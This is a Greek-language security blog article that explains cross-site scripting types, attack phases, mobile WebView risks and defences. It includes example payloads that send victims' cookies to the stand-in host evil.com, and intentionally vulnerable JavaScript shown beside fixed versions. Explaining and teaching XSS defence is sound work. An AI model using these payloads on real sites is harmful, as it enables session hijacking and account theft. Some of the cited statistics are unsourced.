XSS — τι είναι, τύποι επιθέσεων και μέθοδοι προστασίας

Συγγραφέας: IT Sectr Δημοσιεύτηκε: 2026-04-06 Χρόνος ανάγνωσης: 9 λεπ

XSS (Cross-Site Scripting) — ένας τύπος ευπάθειας διαδικτυακών εφαρμογών κατά τον οποίο ο επιτιθέμενος εισάγει κακόβουλο κώδικα JavaScript στο περιεχόμενο που εμφανίζεται σε άλλους χρήστες. Σύμφωνα με τα δεδομένα του OWASP Top Ten (2025), το XSS παραμένει μία από τις πιο διαδεδομένες ευπάθειες, επηρεάζοντας πάνω από το 60% των διαδικτυακών εφαρμογών. Το Cross-site scripting επιτρέπει την κλοπή cookies συνόδου, την ανακατεύθυνση χρηστών σε ιστοσελίδες phishing και την τροποποίηση του περιεχομένου σελίδων σε πραγματικό χρόνο.

Κύρια σημεία

  • XSS — εισαγωγή σεναρίου σε μια σελίδα που εκτελείται στο πρόγραμμα περιήγησης του θύματος εκ μέρους της νόμιμης ιστοσελίδας
  • Τρεις τύποι — Stored (μόνιμη εισαγωγή), Reflected (ανακλώμενος) και DOM-based (από την πλευρά του πελάτη)
  • Stored XSS — ο πιο επικίνδυνος τύπος: ο κακόβουλος κώδικας αποθηκεύεται στον διακομιστή και εκτελείται σε κάθε φόρτωση σελίδας
  • Reflected XSS — το σενάριο μεταδίδεται μέσω παραμέτρων URL και ενεργοποιείται όταν γίνει κλικ σε ένα ειδικά δημιουργημένο σύνδεσμο
  • Διαφυγή εξόδου — η κύρια μέθοδος προστασίας: τυχόν δεδομένα από τον χρήστη πρέπει να διαφεύγουν πριν από την εισαγωγή σε HTML

Τι είναι το XSS;

XSS (Cross-Site Scripting) — είναι μια ευπάθεια που επιτρέπει στον επιτιθέμενο να εισάγει κώδικα JavaScript σε μια ιστοσελίδα, ο οποίος στη συνέχεια εκτελείται στο πρόγραμμα περιήγησης του θύματος. Το πρόγραμμα περιήγησης φορτώνει τη σελίδα από μια αξιόπιστη ιστοσελίδα και εκτελεί το εισαγόμενο σενάριο με τα ίδια δικαιώματα με τον νόμιμο κώδικα της ιστοσελίδας. Αυτό δίνει στον επιτιθέμενο πρόσβαση σε cookies, session storage, το δέντρο DOM της σελίδας και τη δυνατότητα αποστολής αιτημάτων εκ μέρους του θύματος. Οι ευπάθειες XSS προκύπτουν όταν η εφαρμογή εισάγει δεδομένα χρήστη σε μια σελίδα HTML χωρίς κατάλληλη διαφυγή ή επικύρωση.

Ιστορία και επικαιρότητα του XSS

Ο όρος Cross-Site Scripting εμφανίστηκε για πρώτη φορά το 2000 στο Microsoft Security Bulletin. Τα τελευταία 25 χρόνια, το XSS δεν έχει χάσει την επικαιρότητά του: σύμφωνα με τα δεδομένα του HackerOne (2025), το XSS αντιπροσωπεύει περίπου το 22% όλων των καταγεγραμμένων ευπαθειών στην πλατφόρμα. Ο λόγος της ανθεκτικότητας του XSS είναι η πολυπλοκότητα του ελέγχου όλων των σημείων εισόδου δεδομένων χρήστη. Οποιοδήποτε πεδίο εισαγωγής, παράμετρος URL, κεφαλίδα αιτήματος HTTP ή όνομα αρχείου μπορεί να γίνει φορέας επίθεσης εάν τα δεδομένα ανακλώνται στον κώδικα HTML χωρίς επεξεργασία.

Ποια ζημιά προκαλεί το XSS;

Οι επιθέσεις XSS μπορούν να οδηγήσουν σε κλοπή cookies συνόδου, επιτρέποντας στον επιτιθέμενο να συνδεθεί στον λογαριασμό του θύματος χωρίς κωδικό πρόσβασης. Άλλες συνέπειες: ανακατεύθυνση σε ιστοσελίδες phishing, αντικατάσταση περιεχομένου σελίδας, κλοπή προσωπικών δεδομένων, εγκατάσταση κακόβουλου λογισμικού (drive-by download). Το 2023, μια επίθεση XSS στην πλατφόρμα Salesforce Community Cloud επηρέασε δεδομένα χιλιάδων εταιρικών πελατών, αποδεικνύοντας ότι ακόμη και μεγάλες πλατφόρμες δεν είναι άτρωτες σε αυτήν την ευπάθεια.

Τύποι επιθέσεων XSS

Η ταξινόμηση XSS χωρίζει τις επιθέσεις σε τρεις κύριους τύπου ανάλογα με τον τρόπο παράδοσης του κακόβουλου κώδικα. Κάθε τύπος απαιτεί διαφορετική προσέγγιση προστασίας: το Stored XSS μπλοκάρεται με διαφυγή εξόδου από τη βάση δεδομένων, το Reflected — με διαφυγή παραμέτρων URL, το DOM-based — με ασφαλή εργασία με το DOM-API. Η κατανόηση της διαφοράς είναι η βάση μιας αποτελεσματικής στρατηγικής ασφαλείας.

ΤύποςΑποθήκευση σεναρίουΦορέας παράδοσηςΔυσκολία εντοπισμού
Stored XSSΒάση δεδομένων διακομιστήΣχόλια, προφίλ, μηνύματαΜέτρια
Reflected XSSΠαράμετροι URLΣύνδεσμοι phishing, emailΥψηλή
DOM-based XSSJavaScript πελάτηΤμήματα URL, postMessageΠολύ υψηλή

Stored XSS (μόνιμος)

Ο πιο επικίνδυνος τύπος XSS. Ο επιτιθέμενος εισάγει ένα σενάριο σε δεδομένα που ο διακομιστής αποθηκεύει στη βάση δεδομένων και εμφανίζει σε κάθε φόρτωση σελίδας. Τυπικός φορέας — το πεδίο σχολίου: ο επιτιθέμενος δημοσιεύει ένα σχόλιο με <script>document.location='https://evil.com/?c='+document.cookie</script>. Κάθε χρήστης που φορτώνει τη σελίδα με αυτό το σχόλιο στέλνει τα cookies του στον επιτιθέμενο. Το Stored XSS δεν απαιτεί καμία ενέργεια από το θύμα εκτός από την επίσκεψη στη σελίδα — αυτό το καθιστά ιδιαίτερα επικίνδυνο για κοινωνικά δίκτυα, φόρουμ και ιστολόγια.

Reflected XSS (ανακλώμενος)

Το κακόβουλο σενάριο μεταδίδεται στο αίτημα HTTP (συνήθως σε μια παράμετρο URL) και αμέσως ανακλάται από τον διακομιστή στην απάντηση. Ο επιτιθέμενος δημιουργεί ένα σύνδεσμο της μορφής https://example.com/search?q=<script>...</script> και τον διαδίδει μέσω phishing, κοινωνικών δικτύων ή email. Το θύμα, κάνοντας κλικ στο σύνδεσμο, λαμβάνει μια σελίδα όπου το εισαγόμενο ερώτημα αναζήτησης (σενάριο) εμφανίζεται χωρίς διαφυγή. Το Reflected XSS απαιτεί κοινωνική μηχανική — το θύμα πρέπει να κάνει κλικ στο σύνδεσμο, γεγονός που μειώνει αλλά δεν εξαλείφει τον κίνδυνο.

DOM-based XSS

Σε αντίθεση με τα Stored και Reflected, το DOM-based XSS δεν απαιτεί αποστολή δεδομένων στον διακομιστή. Η ευπάθεια προκύπτει όταν το JavaScript του πελάτη εισάγει δεδομένα χρήστη από το URL, το document.referrer, το postMessage ή το localStorage στο DOM χωρίς ασφαλή επεξεργασία. Για παράδειγμα, κώδικας της μορφής document.getElementById('output').innerHTML = location.hash.substring(1) εκτελεί οποιοδήποτε HTML και σενάρια από το τμήμα URL (#<img onerror='...'>). Το DOM-based XSS είναι το πιο δύσκολο να εντοπιστεί, επειδή ο διακομιστής ποτέ δεν λαμβάνει το κακόβουλο ωφέλιμο φορτίο — επεξεργάζεται πλήρως από την πλευρά του πελάτη.

javascript
// Παράδειγμα DOM-based XSS (ΕΥΠΑΘΗΣ ΚΩΔΙΚΑΣ)
// Εάν userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — επικίνδυνο: εισάγει ακατέργαστο HTML
document.write('<div>' + userInput + '</div>');

// ΑΣΦΑΛΗΣ ΕΝΑΛΛΑΚΤΙΚΗ — χρησιμοποιήστε το textContent
document.getElementById('output').textContent = userInput;

Πώς λειτουργεί μια επίθεση XSS;

Η επίθεση XSS εκμεταλλεύεται μια θεμελιώδη ιδιότητα του ιστού: το πρόγραμμα περιήγησης εκτελεί JavaScript που λαμβάνεται από ένα αξιόπιστο domain. Εάν ο επιτιθέμενος βρει έναν τρόπο να εισάγει τον κώδικά του στην απάντηση HTML του διακομιστή, το πρόγραμμα περιήγησης τον εκτελεί με τα ίδια προνόμια με τον νόμιμο κώδικα. Η επίθεση περνά από τρεις φάσεις: εισαγωγή κακόβουλου κώδικα στο περιεχόμενο, παράδοση του περιεχομένου στο πρόγραμμα περιήγησης του θύματος και εκτέλεση του κώδικα με πρόσβαση στο DOM, cookies και storage.

Φάση εισαγωγής

Ο επιτιθέμενος βρίσκει ένα σημείο εισόδου — ένα πεδίο, παράμετρο URL ή κεφαλίδα του οποίου την τιμή ο διακομιστής συμπεριλαμβάνει στην απάντηση HTML χωρίς διαφυγή. Τυπικά σημεία εισόδου: πεδία αναζήτησης, πεδία σχολίων, όνομα χρήστη, URL avatar, αρχεία cookies, κεφαλίδες HTTP (User-Agent, Referer). Τα σύγχρονα πλαίσια (React, Angular, Vue) διαφεύγουν αυτόματα την έξοδο, αλλά οι προγραμματιστές μπορούν να απενεργοποιήσουν τη διαφυγή μέσω dangerouslySetInnerHTML, bypassSecurityTrustHtml ή v-html.

Φάση παράδοσης

Για το Reflected XSS, ο επιτιθέμενος διαδίδει έναν κακόβουλο σύνδεσμο. Για το Stored XSS, αρκεί να δημοσιεύσει περιεχόμενο στην ιστοσελίδα-στόχο, και κάθε επισκέπτης της σελίδας γίνεται θύμα. Το DOM-based XSS ενεργοποιείται κατά τη φόρτωση της σελίδας με ένα συγκεκριμένο τμήμα URL. Και οι τρεις φάσεις μπορούν να εκτελεστούν αυτόματα: εάν το XSS ανακαλυφθεί σε ένα διαφημιστικό banner (περιεχόμενο τρίτου μέρους), η επίθεση θα επηρεάσει όλους τους χρήστες της ιστοσελίδας μέχρι να απενεργοποιηθεί το banner.

javascript
// Παράδειγμα Reflected XSS σε αναζήτηση (ΕΥΠΑΘΗΣ BACKEND)
// Αντί να διαφύγει την παράμετρο q, ο διακομιστής την εισάγει σε HTML

// Express.js — ευπαθής χειριστής:
app.get('/search', (req, res) => {
    const query = req.query.q; // είσοδος χρήστη
    res.send(`<h1>Results for: ${query}</h1>`);
});

// ΑΣΦΑΛΗΣ ΕΚΔΟΣΗ — διαφυγή μέσω encodeURI ή μηχανής προτύπων:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

XSS σε εφαρμογές για κινητά

Οι εφαρμογές για κινητά είναι επίσης επιρρεπείς σε επιθέσεις XSS, αν και σε μικρότερο βαθμό από τις ιστοσελίδες. Ο κύριος φορέας είναι το WebView και τα υβριδικά πλαίσια (Cordova, Capacitor, React Native με WebView). Εάν η εφαρμογή φορτώνει περιεχόμενο ιστού στο WebView — ιδιαίτερα περιεχόμενο χρήστη (HTML email, άρθρα, μηνύματα) — η ευπάθεια XSS μπορεί να οδηγήσει σε εκτέλεση JavaScript εντός της εφαρμογής με πρόσβαση σε native λειτουργίες μέσω της γέφυρας JavaScript.

XSS στο WebView Android

Το Android WebView εκτελεί JavaScript από προεπιλογή. Εάν η εφαρμογή φορτώνει μια συμβολοσειρά HTML μέσω loadDataWithBaseURL() ή εμφανίζει περιεχόμενο χρήστη, μια επίθεση XSS μπορεί να δώσει στον επιτιθέμενο πρόσβαση στη διεπαφή JavaScript (addJavascriptInterface). Η Google απαγόρευσε τη χρήση του @JavascriptInterface για API < 17, αλλά ο παλαιός κώδικας σε παλιές εφαρμογές εξακολουθεί να υπάρχει. Προστασία: απενεργοποιήστε το JavaScript στο WebView εάν δεν χρειάζεται και χρησιμοποιήστε ασφαλή περιήγηση.

XSS σε React Native και Flutter

Το React Native δεν χρησιμοποιεί WebView για τη διεπαφή χρήστη — τα στοιχεία αποδίδονται σε native προβολές. Ωστόσο, κατά την εμφάνιση HTML μέσω react-native-webview ή στοιχείων rich-text, ο κίνδυνος XSS επιστρέφει. Το Flutter χρησιμοποιεί τη δική του μηχανή απόδοσης (Skia) και δεν υποστηρίζει JavaScript σε γραφικά στοιχεία HTML (το flutter_html δεν εκτελεί ετικέτες script), αλλά τα πρόσθετα WebView (webview_flutter) είναι ευάλωτα παρόμοια με τα native WebView. Βέλτιστη πρακτική — ποτέ μην μεταδίδετε μη επαληθευμένο HTML στο WebView.

  • Απενεργοποιήστε το JavaScript στο WebView εάν το περιεχόμενο δεν απαιτεί διαδραστικότητα
  • Χρησιμοποιήστε κεφαλίδες CSP για περιορισμό των πηγών σεναρίων στο WebView
  • Απολυμάνετε το HTML πριν από τη φόρτωση στο WebView: αφαιρέστε ετικέτες script και χειριστές συμβάντων
  • Μην χρησιμοποιείτε το addJavascriptInterface σε Android χωρίς αυστηρό έλεγχο των εισερχόμενων δεδομένων
kotlin
// Ασφαλής διαμόρφωση WebView σε Android
val webView = findViewById<WebView>(R.id.webview)

// Απενεργοποιούμε το JavaScript εάν δεν απαιτείται διαδραστικότητα
webView.settings.javaScriptEnabled = false

// Απολυμαίνουμε το HTML πριν από τη φόρτωση
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

Μέθοδοι πρόληψης XSS

Η προστασία από το XSS βασίζεται σε τρεις αρχές: μην εμπιστεύεστε την είσοδο χρήστη, διαφεύγετε πριν από την έξοδο, χρησιμοποιείτε Content Security Policy. Η διαφυγή εξόδου (output encoding) — η πιο σημαντική μέθοδος: όλα τα δεδομένα που λαμβάνονται από τον χρήστη πρέπει να διαφεύγουν πριν από την εισαγωγή σε HTML, JavaScript, CSS ή URL. Οι σύγχρονες μηχανές προτύπων (Twig, Handlebars, JSX, Blade) το κάνουν αυτόματα, εάν ο προγραμματιστής δεν απενεργοποιήσει τη διαφυγή με ειδικές μεθόδους.

Συμφραζόμενη διαφυγή

Η διαφυγή εξαρτάται από τα συμφραζόμενα εισαγωγής δεδομένων. Στα συμφραζόμενα HTML, διαφεύγονται τα <, >, &, τα εισαγωγικά. Στα συμφραζόμενα JavaScript, διαφεύγονται οι ανάποδες διαγώνιες, , </script>. Στα συμφραζόμενα CSS — τα χαρακτήρες ελέγχου. Στα συμφραζόμενα URL — η κωδικοποίηση URL. Ένα σφάλμα συμφραζομένων — για παράδειγμα, η εισαγωγή μιας συμβολοσειράς με διαφυγή HTML σε ένα χαρακτηριστικό onclick — δεν προστατεύει από XSS, επειδή το onclick εκτελείται σε συμφραζόμενα JavaScript, όπου χρειάζεται διαφορετική διαφυγή.

Content Security Policy (CSP)

CSP — μια κεφαλίδα HTTP που περιορίζει τις πηγές από τις οποίες το πρόγραμμα περιήγησης μπορεί να φορτώσει σενάρια, στυλ και άλλους πόρους. Αυστηρό CSP (χωρίς unsafe-inline, χωρίς unsafe-eval) μπλοκάρει την εκτέλεση οποιωνδήποτε ενσωματωμένων σεναρίων, συμπεριλαμβανομένων των φορέων XSS. Σύμφωνα με τα δεδομένα του Google Security Blog (2025), οι ιστοσελίδες με CSP μπλοκάρουν το 95% των επιθέσεων XSS. Παράδειγμα: Content-Security-Policy: default-src 'self'; script-src 'self' απαγορεύει οποιαδήποτε εξωτερικά και ενσωματωμένα σενάρια. Το CSP δεν προστατεύει από Stored XSS εάν το σενάριο φορτώνεται από τον ίδιο domain, αλλά αυτό απαιτεί πρόσθετη προσπάθεια από τον επιτιθέμενο.

HttpOnly και Secure cookies

Η ρύθμιση της σημαίας HttpOnly για cookies αποτρέπει την πρόσβαση σε αυτά μέσω JavaScript (document.cookie), γεγονός που μπλοκάρει την κλοπή cookies συνόδου μέσω XSS. Η σημαία Secure εγγυάται ότι το cookie μεταδίδεται μόνο μέσω HTTPS. Ο συνδυασμός HttpOnly + Secure + SameSite=Lax καθιστά την κλοπή cookies συνόδου μέσω XSS πρακτικά αδύνατη. Ωστόσο, το XSS μπορεί ακόμη να εκτελεί ενέργειες εκ μέρους του χρήστη (για παράδειγμα, να στέλνει αιτήματα), επομένως το HttpOnly δεν είναι πανάκεια, αλλά μέρος της ολοκληρωμένης προστασίας.

Μέθοδος προστασίαςΑπό ποιους τύπους XSS προστατεύειΑποτελεσματικότητα
Διαφυγή εξόδουStored, Reflected, DOM-based99%
CSPInline XSS, eval-based95%
HttpOnly cookiesΚλοπή συνόδου μέσω XSS100% (δεν μπορούν να διαβαστούν)
Επικύρωση εισόδουStored, Reflected50% (εξαρτάται από τον τύπο)
TRUSTED TYPESDOM-based (innerHTML)90%

Εργαλεία για τον εντοπισμό XSS

Ο τακτικός έλεγχος για XSS — υποχρεωτικό μέρος του αγωγού CI/CD της ασφαλούς ανάπτυξης. Οι αυτοματοποιημένοι σαρωτές βρίσκουν έως και το 80% των ευπαθειών XSS, τα υπόλοιπα απαιτούν χειροκίνητη δοκιμή διείσδυσης. Η καλύτερη προσέγγιση είναι ο συνδυασμός ανάλυσης SAST (στατικής), σάρωσης DAST (δυναμικής) και αναθεώρησης κώδικα με έμφαση στα σημεία εισόδου δεδομένων χρήστη.

  • OWASP ZAP — δωρεάν σαρωτής DAST, εντοπίζει αυτόματα XSS σε διαδικτυακές εφαρμογές
  • Burp Suite Professional — προηγμένο εργαλείο με Active Scan και Intruder για XSS
  • XSStrike — εξειδικευμένος σαρωτής XSS με δημιουργία ωφέλιμων φορτίων
  • ESLint-plugin-security — στατική ανάλυση React/JSX για επικίνδυνα μοτίβα
  • Google Observatory — έλεγχος κεφαλίδων CSP και διαμορφώσεων που σχετίζονται με XSS

Για εφαρμογές για κινητά, η δοκιμή XSS περιλαμβάνει ανάλυση WebView: έλεγχο διεπαφών JavaScript, επεξεργασία σχημάτων URL και μεταφορά HTML σε loadDataWithBaseURL. Συνιστάται επίσης η δοκιμή επεξεργασίας postMessage σε υβριδικές εφαρμογές και ο έλεγχος ποια δεδομένα μεταδίδονται μέσω της γέφυρας JavaScript. Χρησιμοποιήστε εξομοιωτή με διακομιστή μεσολάβησης (Burp Suite) για τη σύλληψη και τροποποίηση της κίνησης εφαρμογής για κινητά.

Συχνές ερωτήσεις

Ποια είναι η διαφορά μεταξύ Stored και Reflected XSS;

Το Stored XSS αποθηκεύει το κακόβουλο σενάριο στον διακομιστή (στη βάση δεδομένων) και ενεργοποιείται σε κάθε φόρτωση σελίδας. Το Reflected XSS μεταδίδει το σενάριο μέσω μιας παραμέτρου URL και η επίθεση ενεργοποιείται μόνο όταν γίνει κλικ σε έναν κακόβουλο σύνδεσμο. Το Stored είναι πιο επικίνδυνο επειδή δεν απαιτεί ενέργεια από το θύμα — αρκεί απλά να ανοίξει τη μολυσμένη σελίδα.

Προστατεύει το HTTPS από το XSS;

Όχι, το HTTPS δεν προστατεύει από το XSS. Το HTTPS κρυπτογραφεί την κίνηση μεταξύ προγράμματος περιήγησης και διακομιστή, αλλά δεν επηρεάζει την επεξεργασία εισόδου χρήστη από την πλευρά του διακομιστή. Η ευπάθεια XSS υπάρχει σε επίπεδο εφαρμογής, όχι μεταφοράς. Το HTTPS είναι το υποχρεωτικό ελάχιστο ασφαλείας, αλλά όχι προστασία από το XSS.

Μπορεί μια επίθεση XSS να βλάψει την ίδια την κινητή συσκευή;

Στις περισσότερες περιπτώσεις, το XSS εκτελείται στην απομονωμένη περιοχή του προγράμματος περιήγησης ή WebView και δεν έχει πρόσβαση στο σύστημα αρχείων ή στο υλικό της συσκευής. Ωστόσο, στο Android WebView με ενεργοποιημένη διεπαφή JavaScript, το σενάριο XSS μπορεί να καλέσει native μεθόδους της εφαρμογής. Στο iOS WKWebView μπορεί επίσης να αποκαλύψει δεδομένα μέσω JavaScriptCore, εάν έχει διαμορφωθεί η κατάλληλη γέφυρα.

Πώς να δοκιμάσουμε το XSS σε εφαρμογές για κινητά;

Χρησιμοποιήστε το Burp Suite ή το OWASP ZAP με έναν διακομιστή μεσολάβησης διαμορφωμένο στην κινητή συσκευή. Συλλάβετε αιτήματα εφαρμογής, τροποποιήστε παραμέτρους και στείλτε ωφέλιμα φορτία XSS. Ελέγξτε το WebView για επεξεργασία HTML μέσω loadDataWithBaseURL και ύπαρξη γεφυρών JavaScript. Για React Native, δοκιμάστε τα στοιχεία WebView ξεχωριστά.

Τι είναι το DOM-based XSS με απλά λόγια;

DOM-based XSS — είναι μια επίθεση κατά την οποία το JavaScript στη σελίδα παίρνει μόνο του δεδομένα από το URL ή άλλες πηγές και τα εισάγει σε HTML χωρίς έλεγχο. Ο διακομιστής δεν συμμετέχει — ο κακόβουλος κώδικας επεξεργάζεται πλήρως στο πρόγραμμα περιήγησης. Τυπικό παράδειγμα: η ιστοσελίδα παίρνει κείμενο από το location.hash και το εισάγει μέσω innerHTML, επιτρέποντας την εκτέλεση οποιουδήποτε κώδικα HTML.

Περίληψη

  • XSS — cross-site scripting, που επιτρέπει την εισαγωγή κώδικα JavaScript σε μια ιστοσελίδα για επίθεση στο πρόγραμμα περιήγησης του θύματος
  • Τρεις τύποι — Stored (μόνιμος, στη βάση δεδομένων), Reflected (ανακλώμενος, μέσω URL), DOM-based (στον πελάτη, μέσω DOM-API)
  • Stored XSS — ο πιο επικίνδυνος: δεν απαιτεί ενέργεια του θύματος, ενεργοποιείται κατά τη φόρτωση της μολυσμένης σελίδας
  • Διαφυγή εξόδου — η κύρια μέθοδος προστασίας: συμφραζόμενη διαφυγή πριν από την εισαγωγή σε HTML, JS, CSS, URL
  • Κεφαλίδες CSP μπλοκάρουν το 95% των επιθέσεων XSS, απαγορεύοντας ενσωματωμένα σενάρια και εξωτερικές πηγές
  • HttpOnly και Secure — σημαίες cookies που αποτρέπουν την κλοπή συνόδου μέσω document.cookie
  • Τακτική δοκιμή — OWASP ZAP, Burp Suite και αναθεώρηση κώδικα είναι υποχρεωτικά στον αγωγό CI/CD

Θα αναπτύξουμε μια εφαρμογή για κινητά έτοιμη για χρήση

Η IT Sectr δημιουργεί εφαρμογές iOS και Android για νεοφυείς επιχειρήσεις και επιχειρήσεις από το 2017. Θα σας συμβουλεύσουμε και θα προτείνουμε την καλύτερη λύση.

Συζήτηση έργου

Διαβάστε επίσης